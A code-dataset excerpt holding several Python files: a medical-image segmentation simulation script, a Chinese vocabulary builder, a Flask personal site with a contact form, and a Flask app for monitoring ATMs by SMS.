"alembic.op", "line_number": 20, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 26, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}]} +{"seq_id": "594604678", "text": "### This file is meant to simulate online segmentation handling when context is taken into consideration in network. ###\nimport itertools\nimport os\n\nimport nibabel as nib\nimport numpy as np\nimport tables\nfrom keras import Model\nfrom tqdm import tqdm\nfrom scipy import ndimage\n\nfrom brats.utils import get_last_model_path\nfrom fetal_net.utils.threaded_generator import ThreadedGenerator\nfrom fetal_net.utils.utils import get_image, resize\nfrom fetal_net.training import load_old_model\nfrom fetal_net.prediction import predict_augment, patch_wise_prediction\nfrom notebooks.notebook_utils import *\nimport json\nfrom fetal_net.utils import pickle_load\n\n# Step 1: get several networks' prediction for a specific scan, based on the scan alone (several - for conf. est.)\n# Step 2: get a different network's prediction for that scan, based on the scan + previous prediction\n# (measure current DICE, VOD, etc.)\n# Step 3: fix a single slice in the prediction so that it is correct\n# Step 4: refresh the prediction using the network from stage 2\n# (measure current DICE, VOD, etc.)\n# Step 5: iterate steps 3-4 until full fix\n\nstep_1_network_experiments_paths = ['/datadrive/configs/...', '/datadrive/configs/...', '/datadrive/configs/...']\nstep_2_network_experiments_paths = ['/datadrive/configs/...']\noutput_prediction_dir = r\"\"\nif not os.path.exists(output_prediction_dir):\n os.mkdir(output_prediction_dir)\n#subject_ids = ['40']\nsubject_index = []\noverlap_factor = 0.9\n\nhdf5_file = r\"\"\ndata_file = tables.open_file(hdf5_file, \"a\")\nfilters = tables.Filters(complevel=5, complib='blosc')\npred_storage = data_file.create_vlarray(data_file.root, 'pred', tables.ObjectAtom(), filters=filters,\n expectedrows=len(subject_index)) # TODO: needs to be same length as other arrays\n\nstep_1_networks = [load_old_model(get_last_model_path(os.path.join(exp_folder, \"fetal_net_model\")))\n for exp_folder in step_1_network_experiments_paths]\n\nstep_1_configs = []\nn_step_1_models = len(step_1_networks)\nfor i in range(n_step_1_models):\n with open(os.path.join(step_1_network_experiments_paths[i], 'config.json')) as f:\n config = json.load(f)\n step_1_configs.append(config)\n\nstep_2_network = [load_old_model(get_last_model_path(os.path.join(exp_folder, \"fetal_net_model\")))\n for exp_folder in step_2_network_experiments_paths]\nwith open(os.path.join(step_2_network_experiments_paths[0], 'config.json')) as f:\n step_2_config = json.load(f)\n\n########################### Step 1 ###########################\nprint(\"################## Step 1 ####################\")\nfor sid in subject_index:\n subject_id = data_file.root.subject_ids[sid]\n print(\"In ID {}\".format(subject_id))\n os.mkdir(os.path.join(output_prediction_dir, subject_id))\n test_data = np.asarray([data_file.root.data[sid]])\n test_truth_data = np.asarray([data_file.root.truth[sid]])\n\n # Get all predictions\n for i, model in enumerate(step_1_networks):\n config = step_1_configs[i]\n # step 1 - no use of context for prediction\n if config[\"use_augmentations\"]: # TODO - add this key to configs, default False\n prediction = predict_augment(data=test_data, model=model, overlap_factor=overlap_factor,\n patch_shape=config[\"patch_shape\"])\n else:\n prediction, _ = \\\n patch_wise_prediction(model=model, data=test_data, overlap_factor=overlap_factor,\n patch_shape=config[\"patch_shape\"], permute=config[\"augment\"][\"permute\"])\n prediction = prediction.squeeze()\n prediction_image = get_image(prediction) # NIB format\n filename = os.path.join(output_prediction_dir, subject_id, \"prediction_{}.nii.gz\".format(i))\n prediction_image.to_filename(filename)\n\n if i > 0:\n avg_pred += prediction\n else:\n avg_pred = prediction\n\n # Get the final averaged prediction and write to file\n avg_pred /= n_step_1_models\n nib.save(nib.Nifti1Image(avg_pred, prediction_image.affine, header=prediction_image.header),\n os.path.join(output_prediction_dir, subject_id, f'averaged_prediction.nii'))\n pred_storage[sid] = np.asarray(avg_pred).astype(np.float)\n\n bin_avg_pred = adapted_postprocess_pred(os.path.join(output_prediction_dir, subject_id, f'averaged_prediction.nii'))\n cur_sc = dice_coefficient(test_truth_data, bin_avg_pred) * 100\n print(\"Using averaged prediction of step 1 - {} DICE\".format(cur_sc))\n\n########################### Step 2 ###########################\nprint(\"################## Step 2 ####################\")\n\n\ndef get_prediction(sid, model, config, slices_range=None):\n # Assumes the data_file has been updated\n test_data = np.asarray([data_file.root.data[sid]])\n test_truth_data = np.asarray([data_file.root.truth[sid]])\n test_pred_data = np.asarray([data_file.root.pred[sid]])\n if config[\"use_augmentations\"]: # TODO - add this key to configs, default False\n prediction = predict_augment(data=test_data, model=model, overlap_factor=overlap_factor,\n patch_shape=config[\"patch_shape\"])\n else:\n prediction, _ = \\\n patch_wise_prediction(model=model, data=test_data, overlap_factor=overlap_factor,\n patch_shape=config[\"patch_shape\"], permute=config[\"augment\"][\"permute\"],\n truth_data=test_truth_data, prev_truth_index=config[\"prev_truth_index\"],\n prev_truth_size=config[\"prev_truth_size\"],\n pred_data=test_pred_data, pred_index=config[\"pred_index\"],\n pred_size=config[\"pred_size\"],\n slices_range=slices_range\n )\n prediction = prediction.squeeze()\n return prediction\n\n\n# only one model here\nconfig = step_2_config\nmodel = step_2_network[0]\nfor sid in subject_index:\n subject_id = data_file.root.subject_ids[sid]\n print(\"In ID {}\".format(subject_id))\n\n prediction = get_prediction(sid, model, config)\n prediction_image = get_image(prediction) # NIB format\n filename = os.path.join(output_prediction_dir, subject_id, \"step_2_prediction.nii.gz\")\n prediction_image.to_filename(filename)\n bin_avg_pred = adapted_postprocess_pred(os.path.join(output_prediction_dir, subject_id, f'step_2_prediction.nii.gz'))\n cur_sc = dice_coefficient(test_truth_data, bin_avg_pred) * 100\n print(\"Using averaged prediction of step 2 - {} DICE\".format(cur_sc))\n # TomLovesShai\n\n########################### Step 3 ###########################\nprint(\"################## Step 3-5 ####################\")\n\n# Note - excruciating process. After every slice fix, we have to predict again,\n# and after every order we try we need to reset the prediction of the subject id for the next test\n# Note - we need to not change slices we already \"fixed\"\n\n\ndef random_baseline_order(bin_prediction):\n return np.random.permutation(np.arange(bin_prediction.shape[-1]))\n\n\ndef next_slice_to_correct_best(bin_prediction, truth, remaining_inds, metric_fcn):\n values = [metric_fcn(truth[:, :, j], bin_prediction[:, :, j]) for j in remaining_inds]\n worst_slice = remaining_inds[np.asarray(values).argmin()] # Note - assumes lowest is worst (VOD, DICE)\n return worst_slice\n\n\nmetric_fcn = vod_coefficient\n# TODO: this is probably excruciatingly long. Need to narrow down the prediction updates\nfor sid in subject_index:\n subject_id = data_file.root.subject_ids[sid]\n truth = np.asarray([data_file.root.truth[sid]])\n print(\"In ID: {}\".format(subject_id))\n\n print(\"-----------------Simulating best possible fixing process-----------------\")\n cur_pred = nib.load(os.path.join(output_prediction_dir, subject_id, \"step_2_prediction.nii.gz\")).get_data()\n cur_bin_pred = nib.load(os.path.join(output_prediction_dir, subject_id, \"binary_step_2_prediction.nii.gz\")).get_data()\n data_file.root.pred[sid] = np.asarray(cur_pred).astype(np.float)\n remaining_inds = np.arange(cur_pred.shape[-1])\n progress_values_best = [0] * (cur_pred.shape[-1]+1)\n progress_values_best[0] = metric_fcn(truth, cur_bin_pred)\n\n for t in range(cur_pred.shape[-1]):\n # whats the currently worst slice not fixed\n next_slice_to_fix = next_slice_to_correct_best(cur_bin_pred, truth, remaining_inds, metric_fcn)\n # fix it\n cur_pred[:, :, next_slice_to_fix] = truth[:, :, next_slice_to_fix]\n remaining_inds.remove(next_slice_to_fix)\n data_file.root.pred[sid] = np.asarray(cur_pred).astype(np.float)\n # get new prediction - TODO: set the slices range, and - should the correction propagate?\n new_pred = get_prediction(sid, model, config)\n # update only the untouched slices so far\n for s in remaining_inds:\n cur_pred[:, :, s] = new_pred[:, :, s]\n cur_bin_pred = adapted_postprocess_pred(cur_pred, to_save=False)\n progress_values_best[t+1] = metric_fcn(truth, cur_bin_pred)\n\n # print(\"-----------------Simulating fixing process based on cetrainty estimation -----------------\")\n # cur_pred = nib.load(os.path.join(output_prediction_dir, subject_id, \"step_2_prediction.nii.gz\")).get_data()\n # cur_bin_pred = nib.load(\n # os.path.join(output_prediction_dir, subject_id, \"binary_step_2_prediction.nii.gz\")).get_data()\n # data_file.root.pred[sid] = np.asarray(cur_pred).astype(np.float)\n # remaining_inds = np.arange(cur_pred.shape[-1])\n # progress_values_best = [0] * (cur_pred.shape[-1] + 1)\n # progress_values_best[0] = metric_fcn(truth, cur_bin_pred)\n #\n # for t in range(cur_pred.shape[-1]):\n # # whats the currently worst slice not fixed\n # next_slice_to_fix = next_slice_to_correct_est(cur_bin_pred, truth, remaining_inds, metric_fcn)\n # # fix it\n # cur_pred[:, :, next_slice_to_fix] = truth[:, :, next_slice_to_fix]\n # remaining_inds.remove(next_slice_to_fix)\n # data_file.root.pred[sid] = np.asarray(cur_pred).astype(np.float)\n # # get new prediction\n # new_pred = get_prediction(sid, model, config)\n # # update only the untouched slices so far\n # for s in remaining_inds:\n # cur_pred[:, :, s] = new_pred[:, :, s]\n # cur_bin_pred = adapted_postprocess_pred(cur_pred, to_save=False)\n # progress_values_best[t + 1] = metric_fcn(truth, cur_bin_pred)\n\ndata_file.close()\n", "sub_path": "brats/simulate_online_fix.py", "file_name": "simulate_online_fix.py", "file_ext": "py", "file_size_in_byte": 10562, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 33, "usage_type": "call"}, {"api_name": "tables.open_file", "line_number": 39, "usage_type": "call"}, {"api_name": "tables.Filters", "line_number": 40, "usage_type": "call"}, {"api_name": "tables.ObjectAtom", "line_number": 41, "usage_type": "call"}, {"api_name": "fetal_net.training.load_old_model", "line_number": 44, "usage_type": "call"}, {"api_name": "brats.utils.get_last_model_path", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 51, "usage_type": "call"}, {"api_name": "fetal_net.training.load_old_model", "line_number": 54, "usage_type": "call"}, {"api_name": "brats.utils.get_last_model_path", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 57, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 66, "usage_type": "call"}, {"api_name": "fetal_net.prediction.predict_augment", "line_number": 73, "usage_type": "call"}, {"api_name": "fetal_net.prediction.patch_wise_prediction", "line_number": 77, "usage_type": "call"}, {"api_name": "fetal_net.utils.utils.get_image", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nibabel.save", "line_number": 91, "usage_type": "call"}, {"api_name": "nibabel.Nifti1Image", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 107, "usage_type": "call"}, {"api_name": "fetal_net.prediction.predict_augment", "line_number": 109, "usage_type": "call"}, {"api_name": "fetal_net.prediction.patch_wise_prediction", "line_number": 113, "usage_type": "call"}, {"api_name": "fetal_net.utils.utils.get_image", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 163, "usage_type": "call"}, {"api_name": "nibabel.load", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 167, "usage_type": "attribute"}, {"api_name": "nibabel.load", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 180, "usage_type": "attribute"}]} +{"seq_id": "633354798", "text": "\"\"\"\r\n\r\n本文件用于创建字典\r\n ---by lin 2019/2/15\r\n\"\"\"\r\nimport jieba\r\nimport os\r\n\r\n\r\ndef build_vocab(filename):\r\n en_vocab = dict()\r\n en_reverse_vocab = dict()\r\n dec_vocab = dict()\r\n dec_reverse_vocab = dict()\r\n\r\n en_vocab_idx = 1\r\n dec_vocab_idx = 1\r\n with open(filename, mode=\"r\", encoding=\"utf-8\") as rf:\r\n for line in rf.readlines():\r\n sentence = line.split(\"\\\\t\")\r\n for word in jieba.cut(sentence[0]):\r\n if word in en_vocab:\r\n continue\r\n else:\r\n en_vocab['_PAD'] = 0\r\n en_vocab[word] = en_vocab_idx\r\n en_vocab_idx += 1\r\n for word in jieba.cut(sentence[1]):\r\n if word in dec_vocab:\r\n continue\r\n else:\r\n dec_vocab['_PAD'] = 0\r\n dec_vocab[word] = dec_vocab_idx\r\n dec_vocab_idx += 1\r\n for key, value in en_vocab.items():\r\n en_reverse_vocab[value] = key\r\n for key, value in dec_vocab.items():\r\n dec_reverse_vocab[value] = key\r\n en_vocabSize = len(en_vocab)\r\n dec_vocabSize = len(dec_vocab)\r\n return en_vocab, en_reverse_vocab, en_vocabSize, dec_vocab, dec_reverse_vocab, dec_vocabSize\r\ndef save_vocab_as_txt(save_path,dict_name):\r\n file_path=\"Vocab\"\r\n isExists = os.path.exists(file_path)\r\n if not isExists:\r\n os.makedirs(file_path)\r\n f = open(save_path, 'w')\r\n f.write(str(dict_name))\r\n f.close()\r\n return True\r\n else:\r\n f = open(save_path, 'w')\r\n f.write(str(dict_name))\r\n f.close()\r\n return True\r\nif __name__ == '__main__':\r\n en_vocab, en_reverse_vocab, en_vocabSize, dec_vocab, dec_reverse_vocab, dec_vocabSize = build_vocab(\"train.txt\")\r\n en_vocab_save_path='Vocab/en_vocab.txt'\r\n en_reverse_vocab_save_path='Vocab/en_reverse_vocab.txt'\r\n dec_vocab_save_path='Vocab/dec_vocab.txt'\r\n dec_reverse_vocab_save_path='Vocab/dec_reverse_vocab.txt'\r\n\r\n save_vocab_as_txt(en_vocab_save_path,en_vocab)\r\n save_vocab_as_txt(en_reverse_vocab_save_path, en_reverse_vocab)\r\n save_vocab_as_txt(dec_vocab_save_path, dec_vocab)\r\n save_vocab_as_txt(dec_reverse_vocab_save_path, dec_reverse_vocab)\r\n print(\"字典创建成功\")\r\n # print(\"re\",en_vocab)\r\n # print(\"dec\", dec_vocab)", "sub_path": "BuildVocab.py", "file_name": "BuildVocab.py", "file_ext": "py", "file_size_in_byte": 2424, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "jieba.cut", "line_number": 21, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "148405277", "text": "#!/usr/bin/env python3\n###\n# arberweb\n# Arber Xhindoli github:@arberx\n###\n\nimport arberweb\nimport flask\nimport os\nimport json\nimport flask_bootstrap\nfrom flask_mail import Mail, Message\n\n# get EMAIL and PASS from environment\nEMAIL = os.environ.get(\"EMAIL\")\nPASS = os.environ.get(\"PASS\")\n\narberweb.app.config['MAIL_SERVER'] = 'smtp.gmail.com'\narberweb.app.config['MAIL_PORT'] = 465\narberweb.app.config['MAIL_USERNAME'] = EMAIL\narberweb.app.config['MAIL_PASSWORD'] = PASS\narberweb.app.config['MAIL_USE_TLS'] = False\narberweb.app.config['MAIL_USE_SSL'] = True\n\n# set up bootstap for main route\nflask_bootstrap.Bootstrap(arberweb.app)\n\n# set up Flask Mail\nmail = Mail(arberweb.app)\n\n\n@arberweb.app.route('/')\ndef main_led_route():\n \"\"\" Main route, serves index.html \"\"\"\n return flask.render_template('index.html')\n\n\n@arberweb.app.route('/consult', methods=[\"GET\"])\ndef tutor_route():\n \"\"\" Route is the entry point for REACT app \"\"\"\n return flask.render_template('tutor.html')\n\n\n@arberweb.app.route('/form_submission', methods=[\"POST\"])\ndef form_submission():\n \"\"\" Handles form data. \"\"\"\n if flask.request.is_json:\n form_content = flask.request.get_json()\n form_name = form_content[\"name\"]\n msg = Message(form_name + \" contacted you through arberweb/tutor.\", sender=EMAIL, recipients=[\n EMAIL])\n msg.body = json.dumps(form_content)\n mail.send(msg)\n return \"Okay\", 200\n else:\n print(\"Recieved none json POST.\")\n return \"Not okay\", 404\n\n\n@arberweb.app.route('/robots.txt')\ndef static_route():\n \"\"\" Route serves robots.txt from /static folder \"\"\"\n return flask.send_from_directory(arberweb.app.static_folder, \"robots.txt\")\n\n\n@arberweb.app.route('/.well-known/acme-challenge/')\ndef lets_encrpyt(tmp):\n \"\"\" Letsencrypt server challenge. \"\"\"\n with open('.well-known/acme-challenge/{}'.format(token_value)) as f:\n answer = f.readline().strip()\n return answer\n\n\nif __name__ == \"__main__\":\n arberweb.app.run(debug=True, host='0.0.0.0',\n port=int(os.environ.get('PORT', 8080)))\n", "sub_path": "arberweb/views/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 18, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 19, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 20, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 21, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 22, "usage_type": "attribute"}, {"api_name": "arberweb.app", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask_bootstrap.Bootstrap", "line_number": 26, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask_mail.Mail", "line_number": 29, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "arberweb.app.route", "line_number": 32, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "arberweb.app.route", "line_number": 38, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 47, "usage_type": "attribute"}, {"api_name": "flask.request.get_json", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask_mail.Message", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 52, "usage_type": "call"}, {"api_name": "arberweb.app.route", "line_number": 44, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.send_from_directory", "line_number": 63, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 63, "usage_type": "attribute"}, {"api_name": "arberweb.app.route", "line_number": 60, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 60, "usage_type": "attribute"}, {"api_name": "arberweb.app.route", "line_number": 66, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 66, "usage_type": "attribute"}, {"api_name": "arberweb.app.run", "line_number": 75, "usage_type": "call"}, {"api_name": "arberweb.app", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 76, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 76, "usage_type": "attribute"}]} +{"seq_id": "34068145", "text": "from flask import render_template, flash, redirect, session, url_for, request, g, abort, jsonify, json\nfrom flask.ext.login import login_user, logout_user, current_user, login_required\nfrom app import app, db, lm\nfrom forms import LoginForm, AddATMForm\nfrom models import User, ROLE_USER, ROLE_ADMIN, SendSMS, RecievSMS, Atm, SMS, Statuses\nimport uuid as UUID\nfrom datetime import datetime\n\nSMS_SENDER_NUMBER = app.config['SMS_SENDER_NUMBER']\n\n\nSTATUS = {\n 'POWER_ON': u'\\u0412\\u0445\\u043e\\u0434 \\u043f\\u0438\\u0442\\u0430\\u043d\\u0438\\u044f: \\u0412\\u041a\\u041b',\n 'POWER_OFF': u'\\u0412\\u0445\\u043e\\u0434 \\u043f\\u0438\\u0442\\u0430\\u043d\\u0438\\u044f: \\u0412\\u042b\\u041a\\u041b',\n 'SET_TIME': u'\\u0417\\u0430\\u0434\\u0430\\u0439\\u0442\\u0435 \\u0432\\u0440\\u0435\\u043c\\u044f!',\n 'OUTLINE_ON': u'\\u0421\\u043e\\u0441\\u0442\\u043e\\u044f\\u043d\\u0438\\u0435 \\u0432\\u044b\\u0445\\u043e\\u0434\\u0430: \\u0412\\u041a\\u041b',\n 'OUTLINE_OFF': u'\\u0421\\u043e\\u0441\\u0442\\u043e\\u044f\\u043d\\u0438\\u0435 \\u0432\\u044b\\u0445\\u043e\\u0434\\u0430: \\u0412\\u042b\\u041a\\u041b',\n 'STATUS_1': u'\\u0421\\u043e\\u0441\\u0442\\u043e\\u044f\\u043d\\u0438\\u0435!',\n 'STATUS_2': u'\\u0422\\u0430\\u0439\\u043c\\u0435\\u0440:'\n }\n\n\nclass SMS_REPORT_OBJECT:\n def __init__(self, time, text, atmid='Unknown', sender='me', receiver='me', status='DLR'):\n self.sender = sender\n self.receiver = receiver\n self.time = time\n self.text = text\n self.status = status\n self.atmid = atmid\n def json(self):\n return {\n 'sender': self.sender,\n 'receiver': self.receiver,\n 'atmid': self.atmid,\n 'time': self.time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n 'text': self.text,\n 'status': self.status\n }\n\n\n\n@app.route('/api')\n@app.route('/api/help')\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route('/api/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n uid = request.headers.get('X-Login-UID')\n if uid is not None:\n user = User.query.filter_by(login=uid.lower()).first()\n if user is not None:\n login_user(user, True)\n return redirect(request.args.get('next') or url_for('index'))\n flash('Access restricted.')\n return render_template('login.html', title='Sign In', form=form, uid=uid)\n\n\n@app.route('/api/atms', methods=['GET'])\n@login_required\ndef listatm():\n atms = Atm.query.all()\n atm_list = []\n for atm in atms:\n atm_list.append(atm.json())\n return json.dumps(atm_list, ensure_ascii=False)\n\n\n@app.route('/api/atms', methods=['POST'])\n@login_required\ndef addatm():\n form = AddATMForm()\n if form.validate_on_submit():\n add_atm(ident=form.ident.data, num=form.num.data)\n return redirect(url_for('atms'))\n return render_template('addatm.html', form=form)\n\n\n@app.route('/api/history')\n@login_required\ndef history():\n sms_report = []\n for sms in SMS.query.all():\n # atmid=Atm.query.filter_by(num=sms.sender).first()\n # if atmid is None:\n # atmid='Unknown'\n sms_report.append(SMS_REPORT_OBJECT(time=sms.time, text=sms.msgdata, sender=sms.sender))\n # sms_report.append(SMS_REPORT_OBJECT(time=sms.time, text=sms.msgdata, sender=sms.sender))\n\n for sms in RecievSMS.query.filter_by(momt='MT'):\n status = RecievSMS.query.filter_by(dlr_url=sms.dlr_url).order_by(RecievSMS.sql_id.desc()).first().momt\n if status is None:\n status = 'MT'\n\n sms_report.append(SMS_REPORT_OBJECT(time=datetime.fromtimestamp(sms.time), text=sms.msgdata, receiver=sms.receiver, status=status))\n\n sms_report.sort(key=lambda s: s.time, reverse=True)\n sms_report_json = []\n for sms in sms_report:\n sms_report_json.append(sms.json())\n\n history = json.dumps(sms_report_json, ensure_ascii=False)\n return json.dumps(sms_report_json, ensure_ascii=False)\n # return jsonify({'history':sms_report_json})\n\n\n@app.route('/api/history/')\n@login_required\ndef atm_history(ident):\n num = '+' + Atm.query.filter_by(ident=ident).first().num\n all_sms = SMS.query.filter_by(sender=num)\n sms_report = []\n for sms in all_sms:\n sms_report.append({\n 'msgdata': sms.msgdata,\n 'date': str(sms.time)\n })\n return json.dumps(sms_report, ensure_ascii=False)\n\n\n@app.route('/api/logout')\n@login_required\ndef logout():\n logout_user()\n flash('You have been logout')\n return redirect(url_for('index'))\n\n\n@app.route('/api/send_check/')\n@login_required\ndef check_atm_status(ident):\n num = Atm.query.filter_by(ident=ident).first().num\n uuid = UUID.uuid4()\n send_sms(to=num, uuid=uuid, mesg='#07#')\n return 'OK', 201\n\n\n@app.route('/api/process_sms', methods=['POST'])\ndef process_sms():\n text = request.data.decode('utf-16be', errors='ignore')\n sms_sender = request.headers.get('X-Kannel-From')\n time_header = request.headers.get('X-Kannel-Time')\n # time = datetime.utcnow()\n time = datetime.strptime(time_header, '%Y-%m-%d %H:%M:%S')\n # timestamp = (time - datetime(1970, 1, 1)).total_seconds()\n sms = SMS(sender=sms_sender, time=time, msgdata=text)\n db.session.add(sms)\n db.session.commit()\n check_status(sms)\n return 'OK', 201\n\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n atms = Atm.query.all()\n dash = []\n for atm in atms:\n sms_query = ['', '']\n last_send = last_send_sms_by_id(atm)\n if last_send is not None:\n sms_uuid = last_send.dlr_url\n sms_query[0] = last_send.time\n sms_query[1] = sms_status(sms_uuid)\n\n sms_response = ['', '']\n last_resp = last_reciev_sms_by_from(atm)\n if last_resp is not None:\n sms_response[0] = last_resp.time\n # sms_response[1] = 'MSG'\n sms_response[1] = last_resp.msgdata\n\n statuses = [sms_query, sms_response]\n dash.append([atm.ident, statuses])\n\n return render_template('dashboard.html', dash=dash)\n\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('404.html'), 404\n\n\n@app.errorhandler(500)\ndef internal_error(error):\n db.session.rollback()\n return render_template('500.html'), 500\n\n\ndef send_sms(to, uuid, mesg):\n timestamp = (datetime.utcnow() - datetime(1970, 1, 1)).total_seconds()\n sms = SendSMS(sender=SMS_SENDER_NUMBER,\n receiver=to, msgdata=mesg,\n dlr_mask=19, dlr_url=uuid, sms_type=2, time=timestamp)\n db.session.add(sms)\n db.session.commit()\n return\n\n\ndef last_send_sms_by_id(atm):\n return RecievSMS.query.filter_by(receiver=atm.num,\n momt='MT').order_by(RecievSMS.sql_id.desc()).first()\n\n\ndef last_reciev_sms_by_from(atm):\n return SMS.query.filter_by(sender='+'+atm.num).order_by(SMS.time.desc()).first()\n\n\ndef sms_status(sms_uuid):\n return RecievSMS.query.filter_by(dlr_url=sms_uuid).order_by(\n RecievSMS.sql_id.desc()).first().momt\n\n\ndef check_status(sms):\n atm = Atm.query.filter_by(num=sms.sender[1:]).first()\n if atm is None:\n return\n\n status = 'UNKNOWN'\n for key, value in STATUS.items():\n if sms.msgdata == value:\n status = key\n break\n if sms.msgdata[:10] == value:\n status = key\n break\n if sms.msgdata[:7] == value:\n status = key\n break\n state = Statuses(fromatm=atm, bysms=sms, status=status)\n state\n db.session.add(state)\n db.session.commit()\n return\n", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7526, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "app.app.config", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 9, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 43, "usage_type": "call"}, {"api_name": "app.app", "line_number": 43, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 44, "usage_type": "call"}, {"api_name": "app.app", "line_number": 44, "usage_type": "name"}, {"api_name": "forms.LoginForm", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "models.User.query.filter_by", "line_number": 54, "usage_type": 